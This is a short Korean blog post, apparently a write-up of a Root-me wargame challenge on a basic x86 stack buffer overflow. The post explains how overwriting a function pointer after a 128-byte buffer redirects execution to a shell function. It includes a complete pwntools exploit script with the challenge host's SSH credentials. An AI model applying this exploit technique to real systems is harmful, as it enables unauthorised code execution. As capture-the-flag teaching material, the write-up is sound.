Wargame/Root-me

ELF x86 - Stack buffer overflow basic 2

Anatis 2021. 3. 27. 17:45

ELF x86 구조인 스택 버퍼 오버플로우 문제이다.

 

Mitigation을 보면 GOT Overwrite가 가능하고 실행 권한이 없다. 코드를 보면*func 함수 포인터가 sup 함수를 가리키고 있고

buf를 133바이트 만큼 입력 받을 수 있다. 그리고 func 함수를 호출하는데 func는 sup을 가리키고 있고 우리가 원하는건 shell 함수이니

func -> shell 함수를 가리키게 조작하면 될 것 이다.

 

buf를 128바이만큼 A를 입력하고 스택 상태를 보면 0xbffffafc 부분이 fucn 함수 포인터이다. 저 부분을 shell 함수 부분으로

조작 한다면 func가 shell 함수를 호출할 것 이다.

 

exploit

from pwn import *

user = 'app-systeme-ch15'
host = 'challenge02.root-me.org'
port = 2222
password = 'app-systeme-ch15'

s = ssh(user, host, port, password)
p = s.process('./ch15')

shell = 0x8048516

payload = 'A'*128
payload += p32(shell)

p.sendline(payload)

p.interactive()